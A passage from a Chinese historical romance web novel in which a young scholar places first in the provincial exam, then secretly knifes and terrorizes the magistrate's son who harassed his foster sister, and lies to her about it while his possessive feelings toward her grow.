季珣此次提前从省贡院回来,姜芸薇心中总觉得有些不安,害怕会影响到他乡试的成绩。 “阿姐不必担心,只是院士找我聊了些事情。”季珣缓缓开口,似乎想到了什么,他又慢吞吞补充道:“对了,王姑娘也回来了,在书院碰到她,便叙旧聊了几句。” 姜芸薇愣了愣,脑海中顿时浮现出一道清丽柔婉的女子身影。 自从王诗婉逃婚后,姜芸薇便再也没有见过她,如今方家昔日辉煌不再,方源也死于非命,王诗婉不用再嫁给方源了,也算是脱离苦海。 同为女子,姜芸薇由衷替她感到高兴。 想当初,王诗婉还曾经恋慕过季珣,也不知道如今,她有没有放下这段感情。 其实在她看来,王诗婉和季珣倒是分外般配,两人一个端方君子,温润如玉,一个蕙质兰心,仙姿玉色,倘若真能玉成好事,也是美事一桩。 “阿姐,还没用早膳吧?我买了几块蒸饼和一碟水晶虾饺,一起吃些吧。” 季珣清凌凌的声音兀的响起,打断了姜芸薇的思绪。 瞧见他手中拎着的,正冒着袅袅白色热气的早膳,姜芸薇心情颇为复杂的点了点头。 季珣似乎当真长大了不少,不仅处事稳重妥帖,而且格外细心周到,将来嫁给他的女子,定然分外幸福。 两人相对而坐,安静的吃着早膳,屋内一时间只能够听到碗筷碰撞发出的清脆声响。 姜芸薇手中拿着一个蒸饼,正慢吞吞的咬着。 她脑海中想着事情,神情恍惚,整个人看上去便显得格外心不在焉。 窗棂外的阳光暖融融的,洒下碎金般的光。 姜芸薇半边身子沐浴在清晨的阳光中,整个人泛着一层温润的柔光。 她白皙纤细的手指捏着蒸饼,正小口小口的咬着,唇瓣轻启时,露出一点湿润的舌尖,一缕乌黑的发丝沿着脸颊滑落,随着她吞咽的动作微微起伏。 季珣目光粘腻如蛛丝,缠绕在她的身上,一寸寸的描摹、刻画着她的每一个细微的动作。 阿姐她今日似乎有些不太对劲。 好几次两人视线对上,她都立马躲开了,似乎在逃避着什么。 今日早上许娘子来过,她瞧见自己时,浑身都僵住了,几乎是落荒而逃,许是她和阿姐说了什么。 思及此,季珣唇角勾起一抹若有似无的笑意,他的眸底翻涌着浓稠的墨色,不知道在想些什么。 * 又过了十日,很快便到了乡试放榜的日子。 这日一大早,姜芸薇便开始坐立难安了,她忍不住在屋内来回踱步,目光频频望向院门外,既盼着报信的人早日带来结果,又害怕季珣榜上无名,一颗心犹如在油锅中煎着,十分难熬。 季珣温声劝道:“阿姐,不必这般忧心,坐下来等吧,结果早已注定,现在焦躁也是于事无补。” 一回头,瞧见季珣泰然自若的模样,姜芸薇心中不禁有些唏嘘。 明明最该紧张忐忑的人就是他,然而,他这正主却一派沉静。 姜芸薇心中突然冒出一个不合时宜的念头:阿珣这般淡然,究竟是成竹在胸,还是说他压根不在乎呢? 她总觉得季珣身上,有一种超然物外的淡漠疏离气质,就恍若一尊不染尘俗的佛龛玉像,似乎这俗世间的荣辱兴衰,人情冷暖,都沾染不了他分毫。 姜芸薇张了张唇,她正要开口,院门外忽然传来一阵敲锣打鼓的声响。 她心中一紧,连忙几步冲到门外。 院门外脚步声纷至沓来,衙差被一群看热闹的邻里百姓簇拥着往这边走来,面上堆满了笑意,“敢问此处可是季公子的住所,恭喜季公子高中乡试第一名解元。” 姜芸薇浑身一震,紧接着,巨大的狂喜如潮水般铺天盖地涌来,将她整个人淹没。 她原本只盼着季珣能够考上举人,她便心满意足了,没想到,他此次成绩竟然这般优异! 那可是乡试第一名解元啊…… 姜芸薇从前压根不敢想,她知晓季珣天资聪颖,然而人外有人,天外有天,这个浅显的道理她还是知晓的,她是真的没料到,季珣居然能够在一众考生中脱颖而出,夺得第一的名次。 “恭喜你啊,季公子。” “真是了不得,小小年纪便有如此成绩,将来定然是前途不可限量。” “我们青阳镇也算是出了一个解元了。” 小小的院落里挤满了道喜祝贺的人,恭维声不断。 季珣面色淡然的颔首,面上并无丝毫骄矜之色。 看着被众人簇拥着的如玉少年,姜芸薇眼眶又热又胀。 温热的水珠不受控制的滚落下来,视线逐渐模糊,她连忙抬手,用帕子拭了拭眼角,唇边却漾着一抹浅浅的笑意。 倘若母亲在世,看到这一幕,定然分外欣喜。 只是可惜,母亲却再也看不到了…… “阿姐怎么哭了?” 不知过了多久,报喜的衙差早已四散离去,方才还人声鼎沸的屋内转瞬之间便安静了下来。 季珣停在姜芸薇面前,目光落在她的面上。 她的脸上还带着未干的泪痕,睫毛被眼泪濡湿,鼻头和眼尾都红红的,平添几分楚楚可怜的娇态。 他的阿姐,还是这般爱哭。 季珣下意识的伸出手,想要拭去她眼角凝着的一颗泪珠。 就在他的指尖即将触碰到她脸上的肌肤时,姜芸薇突然如梦如醒般,仓惶往后面退了一步。 季珣的手便就那样僵停在半空中—— 周围的空气似乎骤然凝滞住了,姜芸薇也愣了一下,方才那一瞬间的躲闪,乃是身体下意识做出的反应,现下想来,确实有些失态。 想到这,她忍不住悄悄抬眼,去看季珣的反应。 季珣神情倒是分外平静,并没有任何责怪的意思,他若无其事的收回手,微笑道:“阿姐,今日可是个好日子,莫要再哭了。” 姜芸薇擦了擦眼泪,笑着说道:“阿珣,我是太高兴了,所以才忍不住激动的哭了,方才脑海中不由想起了母亲,倘若她还在世,看到你如今有此成就,定然分外开心。” 话毕,她语气激动道:“阿珣,我去给母亲上柱香,将这个好消息告诉她。” 凝视着她雀跃离去的背影,季珣眸光逐渐变得幽深。 第34章 第34章 她的笑容是那般明媚,又那般…… 得知季珣考上解元, 县令梁大人派人送来帖子,邀请他和姜芸薇两人去梁府赴宴。 宴席当日,还特意派了马车到家中迎接。 这日一大早, 两人便坐了马车前来赴宴。 马车在梁府门口停下, 季珣先下了马,紧接着,朝着姜芸薇伸出了手。 姜芸薇犹豫了一下, 还是将手放在他的掌心, 紧接着,踩着脚踏从马车上一跃而下。 刚站稳脚步, 立马便有下人满脸堆笑的迎了上来,“想必这两位就是季解元季公子和令姐吧, 快快里面请, 我们老爷已经等候多时。” 季珣点了点头, 两人跟在下人身后, 朝着设宴的花厅方向而去。 这已经是姜芸薇第二次来此了, 上次的情形还历历在目,不过这一次,有季珣陪在身侧,她也没什么可怕的了。 穿过月洞门,便是一方开阔的庭院,此刻院中已经是人影幢幢,分外热闹。 宾客们三三两两聚在一处, 谈笑风生,梁县令今日宴请之人,大多都是今科得中的举人,他们正是春风得意之时, 眉眼间皆蕴含着掩藏不住的喜色。 季珣和姜芸薇两人甫一到场,便吸引了席上众人的目光。 梁县令原本正和宾客攀谈,瞧见季珣,立马笑着上前,“季贤侄,你总算是来了,今日这宴席,你可是主角。” 见状,周遭的议论声陡然静了几分,不少学子的视线都不由自主的落到了季珣的身上,带着钦佩和艳羡,这季珣,不仅生了一副好皮囊,又在今科乡试中拔得了头筹,真真是羡煞旁人。 “这位姑娘是?”瞧见季珣身旁跟着的貌美女郎,有学子忍不住好奇问道。 季珣转头看了姜芸薇一眼,语调依旧是惯常的沉静,“这位是家姐。” “季解元和家姐感情真好。”那人听后,不由感慨道。 姜芸薇今日穿了一件绿色的薄纱裙,裙摆上用金线绣制着彩蝶花纹,行走间裙摆荡起,翩然若飞,日光落在她莹白的脸颊上,少女姿态楚楚,更显温婉秀美。 席上不少男子都看直了眼。 被这么多双眼睛注视着,姜芸薇脸颊不禁有些发烫,她下意识的垂着脑袋,只盯着自己鞋面上绣着的牡丹花纹样瞧,恨不得将整个人都藏起来。 季珣蹙了蹙眉,下颌线绷成冷硬的弧度,将她挡在身后。 紧接着,他抬眼扫过那些或惊艳、或贪婪或好奇的目光,眸光冷若冰霜,带着几分不易察觉的阴鸷戾气。 被他这一眼扫过,席上众人自知失礼,连忙收回视线,不敢再乱看。 梁县令极擅察言观色,见状连忙笑道:“姜姑娘,那边还有其他女眷,桌上也备有糕点和茶水,你可以过去歇歇。” 闻言,姜芸薇如蒙大赦,连忙点了点头,飞快离开了此处。 * 女眷席间亦是分外热闹,目之所及,皆是华服珠翠的流光,侍女们犹如穿花蝴蝶般,提着食盒和酒盏,穿梭在衣香鬓影之中。 姜芸薇不喜热闹,便沿着青石小径,一路往前,径直来到了庭心的池边,池水在日光的照耀下,泛着一层粼粼的波光。 她倚靠在雕花石栏上,看着池中的鲤鱼,红的似火,白的像雪,明黄若朝霞,在水池中悠闲的摆尾,如同一匹流动的绚丽织锦。 “姜姑娘。” 身后蓦地传来一道熟悉的清润嗓音。 姜芸薇回过头,竟是多日未见的林遇。 他今日穿着一件竹青色的锦袍,眉目疏朗,气质温和,长身玉立,恍若修长挺拔的修竹,举止间都是世家公子的清雅。 姜芸薇愣了愣,旋即双眸一亮,“林公子,真巧。” 梁县令今日设宴,宴请的都是在乡试之中榜上有名的举人,既然林遇也在,那么他此次定然也考得不错,姜芸薇由衷替他感到高兴。 林遇走到她身旁,视线也落在湖水中嬉戏游弋的锦鲤上,“姜姑娘也不喜热闹聒噪,来此处躲清静吗?” 姜芸薇点了点头,“此处清幽雅静,倒是别有一番意趣。” 微风拂过湖面,荡开一圈圈涟漪,两人的影子倒映在粼粼波光中,一时间谁都没有说话,只余水声潺潺。 一条金色的鲤鱼倏地“噗通”一声跃起,在湖面溅起一层水花,平静的湖面泛起层层涟漪。 两人不约而同的看了过去,又几乎同时收回目光,视线在空气中短暂交汇,又很快移开。 林遇眼底漾开抹极淡的笑意:“听闻阿珣考上解元,还没来得及恭喜姜姑娘呢。”顿了顿,他又笑道:“我实在没想到,姜姑娘你今日也会来赴宴。” 姜芸薇莞尔一笑,“那我也恭喜林公子考上举人,我也是沾了阿珣的光,梁县令才会邀请我。” 四目相对间,两人相视一笑,恰好此时,一阵微风拂过,身后桂花树上,几片细碎的黄色花瓣簌簌飘落,清甜的香气漫过鼻尖,在空气中缠缠绵绵的漾开。 季珣立在廊下的阴影处,面无表情的看着这一幕。 溶溶日光下,少男少女并肩立在石栏处,恍若一对壁人。 湖畔微风轻拂,姜芸薇正侧目望向林遇,她鬓边的碎发随风飘动,唇畔嗪着一抹浅浅的笑意,阳光在她脸上洒下细碎明亮的光斑。 她的笑容是那般明媚,又那般刺眼! 季珣指尖骤然收紧,飘落在他掌心的那片桂花叶子瞬间被碾碎,碧绿的汁液顺着指缝间渗出,指尖满是黏腻的触感。 胸腔倏地燃起一股无名妒火,越烧越旺,他神情没有丝毫的波澜,然而一双漆黑的双眸中,却冷的像是淬了冰。 真是碍眼。 这辈子,林遇果然还是这般碍眼。 * “林公子,季姑娘,宴席快要开始了,老爷派我来唤你们入席。” 很快,便有一个小丫鬟走上前,脆声道。 两人微微颔首,一同朝着席间走去,又在垂花门处分开。 女眷宴席上,梁夫人端坐在主位,面上挂着抹温婉亲和的笑容。 姜芸薇视线在她面上一扫而过,紧接着,悄无声息的上前,在角落的位置上落座。 “这位便是季解元的姐姐姜姑娘吧。” 一道嗓音蓦地响起,声音不大,却分外清晰。 霎时间,众人的目光都落在了姜芸薇的身上。 “姜姑娘生的真美,这气质,说是官宦人家的小姐都有人信。” “姜姑娘裙摆的绣花真好看,这蝴蝶花纹栩栩如生,看着像是要从衣裳里头飞出来,是自己绣的吗?” 听着周围诸人的夸赞声,姜芸薇不禁有些无措,她原来想悄悄入席,尽量不引起任何人的注意,没想到却还是吸引了众人的目光。 被这么多双眼睛盯着,姜芸薇不禁有些忐忑,她下意识的攥紧了衣袖,尽量让脸上的神情看起来更自然些,她柔声答道:“是我自己绣的。” 季珣如今中了解元,她这个解元的姐姐,自然也成为了人群之中的焦点,她可绝对不能露怯,让季珣丢脸。 闻言,那位女眷忍不住走上前,捧着她的裙摆,轻轻摩挲着,口中不住发出赞叹声,“姜姑娘果真是蕙质兰心,这裙子绣工精巧,针脚细密匀称,我府中的绣娘,恐怕都及不上呢。” 姜芸薇垂眸,面上露出一抹恰到好处的羞赧笑容,“夫人谬赞了。” 瞧见这一幕,梁夫人气的险些捏碎了手中的白玉瓷杯,由于太过用力,就连指甲边缘,都透着几分青灰色。 这个姜芸薇,实在太不识好歹,仗着有几分姿色,便心比天高,能够嫁进梁府,给自己儿子做妾,已经是她几辈子修来的福 分了,她却推拒不受,还将此事禀报了老爷。 老爷得知此事后,回府发了好大一通脾气,还将她给训斥了一番,想到这事,梁夫人心中积压已久的怒火便再次沸腾燃烧起来。 没想到她那个便宜弟弟竟然当真考上了解元,连带着姜芸薇,一时间也变得水涨船高起来,人人争相巴结。 今日来赴宴的女眷大多都是青阳镇有头有脸的人物,如今却对姜芸薇这般夸赞,梁夫人实在是咽不下这口气。 她弯了弯唇,缓缓开了口,“姜姑娘小小年纪,这一手绣活便如此出类拔萃,想来这些年,夙兴夜寐做绣活养家糊口,委实是辛苦了,不过如今,总算是苦尽甘来,好在季小郎君争气,考上了举人,往后姜姑娘你也能够跟着享福,过上好日子。” 姜芸薇唇边笑意一僵,笼在袖中的手指紧了紧。 梁夫人这话表面上听着像是在关心她,然而话里话外,却透露出几分若有似无的嘲讽挖苦之意。 梁夫人目光掠过姜芸薇身上穿着的衣裙,眸中闪过一抹轻蔑之色,就算绣工再精巧又如何,用的还不是那般劣质的衣料? 思及此,她颇为愉悦的勾了勾唇,慢悠悠的补充道:“往后啊,等到季小郎君当了官,府中自然会请专门的绣娘,姜姑娘你就不用再亲力亲为了,到了那个时候,姜姑娘也可以多花时间,学些琴棋书画,管理中馈之事,至于那些针线活,自然有下人去打理。” 在场的诸位,大多都是高门大户的夫人,如何听不出梁夫人话中的深意? 一时间,宴席上鸦雀无声,众人面面相觑,都不敢开口。 第35章 第35章 “你方才唤她什么?芸娘?…… 姜芸薇虽然性子和善, 不喜纷争 然而今日宴席上,来的大多都是青阳镇有头有脸的女眷。 梁夫人却话里话外的贬低她家境贫寒,不懂主持中馈, 上不得台面, 实在是欺人太甚! 她不能给阿珣丢脸。 思及此,姜芸薇深吸了口气,再抬起头时, 面上已无丝毫怯意, “多谢夫人提点,只是民女以为, 针线女红与琴棋书画,其实道理相通, 皆能修身养性, 况且, 《周礼·考工记》中曾有言:画缋之事, 杂五色, 五采备谓之绣”,且上古之时,帝舜命禹絺绣于冕服之上,以明礼制、昭德行,足可见刺绣乃国之根本,分外重要。” 此言一出,席上静了一瞬。 梁夫人没有料到姜芸薇竟然还敢反驳, 脸上的表情刹那间变得十分精彩,她手指紧紧掐着掌心,心中怒极、恨极。 偏偏姜芸薇一番话说的有理有据,竟令她一时无法反击。 席上众人也纷纷对姜芸薇有了几分改观, 这个女郎看着温婉柔弱,骨子里却透着一股子不卑不亢的韧劲。面对梁夫人的刁难,从容不迫,引经据典,可见其外柔内秀,胸有丘壑,果然不愧是季解元的姐姐。 席上一位女眷忍不住笑着夸赞道:“姜姑娘所言有理,真是没想到姜姑娘小小年纪,便有如此见识。” “是啊,只怕将来,来家中提亲的门槛都要被踏烂了。” “也不知道以后谁这么有福气,能够娶到姜姑娘。” 听着这些赞叹声,梁夫人气的胸口不住起伏,脸上红一块白一块。 她原本想挖苦嘲讽姜芸薇一番,没想到却反倒搬起石头砸了自己的脚,想她名门出身,乃是锦绣堆中娇养出来的,从小就没有吃过苦,如今却三番四次被这个穷酸丫头惹怒。 梁夫人素来心高气傲,如今却当众落了个没脸,如何还呆得下去?她很快便借故身子不适,离开了此处。 梁夫人一走,就连席上的氛围都轻快了不少,不少女眷都围着姜芸薇请教刺绣技巧,姜芸薇颇为受宠若惊,却始终面带笑容,一一为其解答。 宴席正酣,丝竹声不绝于耳,空气中浮动着佳酿的香气,众人推杯换盏,言笑晏晏,分外热闹。 姜芸薇上次贪杯饮了菊花酒,宿醉后头疼欲裂,至今想起来依然觉得额角隐隐作痛,此次便没有再饮酒,她独自一人坐在桌边喝茶,一个着粉衫的小丫鬟端着红漆托盘上前,为她添茶。 小丫鬟倒茶时,手蓦地一抖,茶水倾泻而出,大半都泼洒在姜芸薇的裙摆上,泅开一大片深色的湿痕。 “姜姑娘恕罪,奴婢该死!”小丫鬟吓得面无人色,伏地磕头,嗓音慌张。 姜芸薇用帕子擦了擦裙衫上的湿痕,反倒柔声安慰起那小丫鬟来,“没事的。” 小丫鬟怯怯道:“奴婢笨手弄脚,弄脏了姑娘的裙子,湿衣穿在身上容易受寒,东厢暖阁备着给女客换的衣裳,奴婢这就带姑娘过去换一件。” 裙裾湿凉,委实狼狈,又瞧见眼前小丫鬟一脸惶恐的模样,姜芸薇便轻轻点了点头。 跟着小丫鬟七拐八拐,穿过曲折回廊,丝竹声、笑语声渐渐淡去,周遭一片僻静,偶尔能够听到几声鸟鸣啁啾声。 小丫鬟并未将姜芸薇带去东厢暖阁,而是来到了庭心的水池旁,只见石栏边正站着一位衣着华服的年轻公子,正是县令之子,之前曾经有过一面之缘的梁棣。 姜芸薇心头咯噔一声,暗道不好,她蹙了蹙眉,转身便欲离开。 梁棣却几步上前,拦住了她的去路,“姜姑娘何必急着离开?许久不见,我对姑娘可谓是日思夜想,念念不忘。” 姜芸薇下意识往后退了一步,方才那位带路的小丫鬟早就已经不见身影了,寂静的湖边唯有他们两人的身影。 姜芸薇心中一紧,攥着绣帕的指尖微微发颤,语气却强装镇定,“梁公子,这是何意?今日贵府设宴,我可是府中客人,你却将我骗来此处,实在有违礼数,倘若梁县令知晓,只怕难以交代。” “你这小娘子还挺聪明,还知道拿我爹来压我。”梁棣冷笑一声,“只是可惜,我偏偏却不吃那一套。” 母亲原本都答应了,将姜芸薇纳来府中做个妾室,他日夜期盼着这一日的到来,谁曾想,临到头来,母亲又改口说,此事往后莫要再提了。 期待落空的滋味可不好受,越是得不到的东西,便越发心痒难耐,然而,这些日子,他却始终没找到什么好机会见姜芸薇一面。 等了这么些时日,总算等来了合适的时机,得知父亲今日设宴,会邀请姜芸薇,梁棣便威逼利诱小丫鬟帮他将人骗过来。 如今,果然顺利见到她了。 日思夜想的人就站在面前,梁棣心情自是分外愉悦。 姜芸薇的语气冷了下来,一脸戒备的盯着他,“梁公子,你到底想怎么样?” 梁棣目光黏在她身上,一副深情款款的模样,“姜姑娘,你真是好狠的心啊,我费尽心机,也只是想见你一面,以慰相思之苦罢了,你却对我如避蛇蝎。” “梁公子慎言。”姜芸薇厉声打断他,“我和梁公子素无瓜葛,还请梁公子自重。” 梁棣一脸痴迷的看着她,“姜姑娘,我是真心想娶你的,你是不是不想当妾?那我娶你当正妻如何?我保证将来一定全心全意对你,姜姑娘,芸娘,我的好芸娘,你就嫁给我吧。” 姜芸薇神色一怔,很快又恢复如初。 像梁棣这样的纨绔公子,嘴里又有几句真话?世间男子大多如此,没有得到之前甜言蜜语,待到得到了以后,便弃之如敝履。 她自然不会相信梁棣的承诺,况且,她素来厌恶这种轻浮好色的公子哥,就算当真让她嫁给梁棣当正妻,她也是不愿意的! “哦?梁公子想要娶我姐姐为妻?” 身后蓦地传来一道沁凉如水的嗓音。 梁棣回过头,对上一双泛着冷光的眼眸,只见一个清俊秀美的少年郎君正站在身后不远处,他脸上神情平静如水,眸光却是一片幽冷。 认出了此人乃是姜芸薇的弟弟季珣,梁棣面上堆起一抹笑, 殷切道:“对,我是真心爱慕你姐姐,想要娶她为妻,季兄,不如你帮我劝劝你姐姐吧,我们两家结亲,对你将来的仕途也大有裨益。” 季珣并未理会他,而是看向姜芸薇,脸上露出抹温和的笑容,“阿姐,你先回席上吧,我来和梁公子说。” 姜芸薇脚下步伐未动,一脸踌躇。 季珣语调愈发温和,轻轻拍了拍她的肩膀,“去吧,阿姐,此处有我。” 许是他的眼神太过沉静,姜芸薇跳动不安的心也奇异般的平静了下来,她点了点头,转身先离开了此处。 碍于季珣在此,梁棣自然不好再阻拦,只能眼睁睁的望着姜芸薇离开。 待到姜芸薇的背影消失不见,季珣这才转过身,目光沉沉的望着梁棣。 毕竟是自己理亏在先,被季珣这样的眼神注视着,梁棣难免觉得有些心虚,他开口解释道:“季兄,我是真的对姜姑娘一片痴心,相思成疾,想要见她一面,这才一时糊涂做下此事。” “哦?一片痴心?”季珣眸中溢出一丝笑意,望着梁棣的眼神温柔的似乎能够滴出水来,然而他开口的语气,却冷的像是冰渣,“就凭你,也配觊觎我阿姐?” 梁棣被他冷厉的模样骇了一跳,下意识的往后退了一步,直到后腰抵上冰冷的石栏,传来一阵尖锐的钝痛,他这才猛的清醒过来,后知后觉的感受到了从面前的男子身上散发着的危险气息。 梁棣嗓音发颤,“你想怎么样?” 季珣唇角嗪着抹笑容,他慢悠悠的从腰间抽出一把匕首,在手中把玩着,匕首刀刃薄而利,在日光下泛着细碎而冰冷的寒芒,将他的眼底也映照的幽寒一片,“你方才唤她什么?芸娘?”最后两个字从他口中辗转吐出,多了几分缠绵缱绻的意味。 瞧见季珣手中的匕首,梁棣吓得心口狂跳,脸色发白,“这里可是梁府,你要是胆敢伤了我,你也别想活着走出去!” “是吗?”季珣轻笑一声,他望向梁棣的眼神极淡,透着几分冰冷的,居高临下的审视,“梁公子,你把自己的命,想的也太值钱了些吧?我手中有你爹贪污受贿的证据,你猜,到时候,梁大人会选择保全你的性命,还是整个梁家?” 说着,他弯唇笑了起来,冰凉的刀刃缓缓贴近梁棣的脸颊。 刀锋划破空气,带来一阵刺骨的寒意,梁棣的一缕头发被划断,悠悠飘落在地,他吓得两股战战,浑身都在打着哆嗦,连忙开口求饶,嗓音恐惧,“季公子,我错了,我再也不敢了,求求你放过我吧。” 瞧见他这副模样,季珣唇边的笑意又深了几分,他手上力道加重,匕首刹那间在梁棣脸上割开一道口子,鲜血汩汩流出,他弯了弯唇,“你还想让我阿姐给你做妾?” 梁棣牙齿打颤,铺天盖地的恐惧如同潮水般涌来,将他整个人淹没,他不知从哪里来的勇气,猛的往后挣去。 紧接着,他整个人已经如断线的纸鸢般,朝着身后的池中坠落,“噗通”一声,在水面溅起一层水花。 “救命。” 梁棣并不会游泳,拼命在水中挣扎起来。 季珣收回匕首,站在石栏边,漠然看着他在水池中沉浮挣扎的身影,像是在看一只微不足道的蝼蚁,在徒然做着最后的挣扎。 第36章 第36章 阿姐,你可以依赖我 许是梁棣命不该绝, 下人们听到他的呼救声,连忙赶了过来。 一时间,场面乱作一团, 几个会水的小厮连忙跳下去救人, 其余的匆匆跑去请大夫,通知梁县令。 季珣漠然的站在原地,似乎周遭的一切喧闹都与他无关。 出了这么大的事情, 很快就惊动了其他人, 姜芸薇也闻迅赶了过来。 瞧见季珣好端端的站在一旁,姜芸薇松了口气。 然而, 看着浑身湿透,被打捞上来, 躺在地上昏迷不醒的梁棣, 她的脸上又多了几分不安的神情。 梁棣方才还好端端的, 她才刚走了一会儿, 梁棣就落水了, 当时现场只有阿珣和梁棣两个人在,难不成是阿珣所为? 想到这里,姜芸薇下意识的抬头去看季珣的反应。 只见他安静的站在人群之中,低垂着眼眸,脸上神情晦暗不明,难辨喜怒。 姜芸薇心中不禁有些担忧。 她悄悄走上前,扯了扯他的衣襟, 压低了嗓音问道:“阿珣,这究竟是怎么回事?” 季珣看她一眼,语调温润平和,“阿姐不必担心, 是梁棣他自知理亏,不慎失足落水。” 姜芸薇听后没有再说什么,她在心中默默叹了口气,心乱如麻。 虽然说梁棣乃是自作自受,然而倘若他真的出了什么事情,只怕他们姐弟两人都难逃干系。 大夫很快就赶了过来,帮忙按压着梁棣的胸膛,他猛的咳嗽了一声,缓缓睁开了眼睛。 梁夫人一脸关切,“棣儿,你没事吧?吓死娘了,好端端的,怎么会落水?” 脸上被刀刃划破的伤口沾了水,泛起一阵细密的刺痛,梁棣刚从鬼门关迈出来,此时还很虚弱,他瞳孔涣散,目光在人群中空茫茫转了一圈,最后落在季珣的身上,瞳孔瞬间放大,恍若见了鬼似的,他下意识的往后瑟缩了一下,口中发出一声凄厉的惊叫,“啊。” 梁夫人见状吓坏了,连忙转头看向一旁的大夫,“棣儿这是怎么了?” 梁棣手脚并用的往后缩着身子,哭的涕泗横流,口中语无伦次的叫囔着,“别过来,不要杀我!啊,我错了!对不起。” 说着,又抱着脑袋,喉咙里发出意义不明的嗬嗬声,仿佛看到什么恐怖的恶鬼。 见状,一旁的梁县令和梁夫人都是一脸惊骇。 老大夫连忙上前,扣住他的手腕把脉,紧接着,又仔细查看了梁棣身上的伤口,发现他除了脸颊有一块被刀刃划伤的痕迹,后脑勺还有一处淤青。 老大夫抚着胡须,叹了口气,“梁大人,令郎恐怕是失足坠湖时撞到了头颅,再加上受了极大的惊吓,神智已乱,看这情形,应该是失心疯的症状。” 此言一出,在场众人纷纷都倒吸一口凉气。 梁夫人不可置信的瞪大了眼睛,目光死死的盯着大夫,“你说什么?棣儿他疯了?” “夫人节哀。”老大夫叹了口气,神情有些怜悯。 梁夫人嘴唇翕动,似乎想要说些什么,张了张唇,却发不出任何声音,一股巨大的悲痛如同潮水般席卷而来,紧接着,她眼前一黑,整个人便栽倒在地上,昏死过去。 好好的一场宴席,最后却这样惨淡收尾,众人一时都不禁有些唏嘘。 一直到坐在回府的马车上时,姜芸薇依旧有些难以回神。 真是没有想到,梁棣居然就这样疯了,果然是世事无常。 虽然说他乃是罪有应得,然而想到梁棣疯癫时候的神情,姜芸薇心中不禁感到有些怪异。 旁人或许没有注意到,然而姜芸薇的视线却一直落在梁棣的身上,自然没有错过他脸上的细微神情。 梁棣他,似乎是看到阿珣以后才突然发疯的。 想到这里,一阵难以言喻的恐惧顺着尾椎直击脑门,姜芸薇下意识的抬眼,悄悄去看季珣。 只见季珣靠在身后的车壁上,阖着眼帘,正在闭目养神,他依旧是那副沉稳淡然的模样,面目俊美无双,纤长的睫毛轻轻颤动,一副谦谦君子、温雅如玉的模样。 然而,他真的像表面上看到的这般温和吗? 姜芸薇突然觉得,自己有些看不透这个朝夕相处的弟弟了。 又或者,她从来都没有看透过她。 “阿姐在想什么?” 季珣蓦地睁开了眼睛,清亮的眸子一瞬不瞬的凝视着她,似乎能够透过她面上的神情,窥透她内心深处的想法。 姜芸薇心口猛的一跳,慌忙收回目光,下意识的避开他灼热的视线,犹豫半晌后,她睫毛颤了颤,终是忍不住开口问道:“阿珣,梁棣他真的是自己摔下去的吗?” 此言一出,马车内空气似乎骤然凝滞了一瞬。 一时间,只能够听到车轮碾过青石板路时 发出的辚辚声响。 季珣的神情分外平静,语气依旧是一如往常的沉静,平和,不带丝毫波澜,“自然,难道阿姐不信我吗?” 姜芸薇定定的望着他,试图从他平静的面容上寻出一丝伪装过的痕迹。 然而,他的神情却太过坦然了。 坦然到令姜芸薇不禁开始怀疑,是不是自己猜错了?或许这一切当真只是一场意外。 许是梁棣和阿珣两个人发生了口角,然后梁棣不慎落水,摔坏了脑袋失心疯了,下意识的便将昏迷前最后看到的那个人当成了凶手,所以他看到季珣才会这般惊惧。 再说,梁棣现在只是一个疯子,疯子的行为本就难以用常理来解释。 姜芸薇试图在心中说服自己。 罢了,无论如何,阿珣是她的弟弟,她这个做姐姐的,应该相信他才是。 这样想着,姜芸薇抬起头,微微一笑,“阿珣,我自然相信你。” 季珣蓦地话锋一转,“阿姐,我去省县城参加乡试的时候,梁府的人,是不是欺负了你?” 姜芸薇没有料到他会突然提起此事,不由微微一怔,“阿珣,为何突然问起这个?”顿了顿,她又道:“事情都已经过去了,就莫要再提了。” 季珣目光一错不错的望着她,“倘若阿姐不告诉我,我便去问别人了。” 听后,姜芸薇不禁有些无奈,阿珣还是如此,虽然看着性子淡漠平和,然而骨子里却分外强势霸道,但凡他想要知道的事情,不弄个明白便誓不罢休。 想到这里,她低低叹了口气,缓缓开口,将那日去梁府赴宴时所发生的事情,一五一十的告知了他。 听完后,季珣眸中闪过一抹森冷的寒芒,俊美的面容上满是戾气。 仅仅只是失心疯,还真是未免有些太便宜梁棣了。 感受到季珣身上散发的冷意,姜芸薇连忙宽慰道:“阿珣,事情已经过去了,你如今考上了解元,就连梁县令都敬你三分,往后他们应该也不敢再欺凌我们了。” 闻言,季珣扭头定定望着她,“阿姐,往后,不管遇到了什么事情,都告诉我好吗?” 他的眼神太过直白炙热,姜芸薇心跳乱了一拍,她沉默须臾后,才柔声道:“阿珣,有些事情我自己能够解决,便不想总是麻烦你,况且,你平日里学业辛苦,我不想你分心,你现在应该以学业为重。” “阿姐,你是我在这世间唯一的亲人了,我不想你有事,况且,我们姐弟之间,何谈什么麻烦?”季珣嗓音低沉,一字一句。 闻言,姜芸薇心中涌起一阵暖流,她弯了弯唇,面上露出一抹笑容,嗔笑道:“傻话,我能有什么事情。” 季珣不再说话,只是目光沉沉的望着她。 他的眼神分外深邃,带着一种不容拒绝的压迫感,像是一张无形的网,将她整个人都笼罩其中,无处可逃。 姜芸薇被他看的心慌意乱,下意识的垂下眼帘。 “阿姐,我希望你能够依赖我,不要什么事情都藏在心底,阿姐,你可以依赖我的。” 头顶蓦地响起一道带着叹息的嗓音,季珣的声音又轻又柔,像是一片羽毛,在姜芸薇的心尖轻轻拂过。 自从母亲去世以后,这还是第一次有人对她说,自己可以依赖他。 第37章 第37章 我会一直陪着你的 春闱定在二月末, 在京城贡院举办。 算下日子,眼下已经快到十月了,从青阳镇到京城, 一路长途跋涉, 车马慢行,路上少说也得耗上月余,况且到了京城还得赁屋, 熟悉环境, 也得花上不少时间。 也就是说,最晚十月底, 他们便要离开青阳镇,动身前往京城了。 在此处住了这么长时间, 如今又要搬离, 姜芸薇心中不禁有些淡淡的惆怅和不舍。 然而, 姜芸薇知晓, 季珣绝非池中之物, 屈居青阳镇,实乃明珠投暗,龙困浅水,他终会去往更广袤的天地。 她这个做姐姐的,还等着季珣高中状元那一日呢! 许娘子的夫君此次乡试落榜,并未考中举人,他们夫妻两人连夜收拾了行囊, 放在驴车上捆的结结实实,准备动身回老家。 “许娘子,这几个烙饼你拿着路上吃,是我自己亲手做的, 里面还有一小罐我自己腌的辣酱,我记得你爱吃这个。”姜芸薇将一个沉甸甸的包裹递到许娘子的手中,柔声道。 许娘子目光落在她脸上,眸中神情复杂。 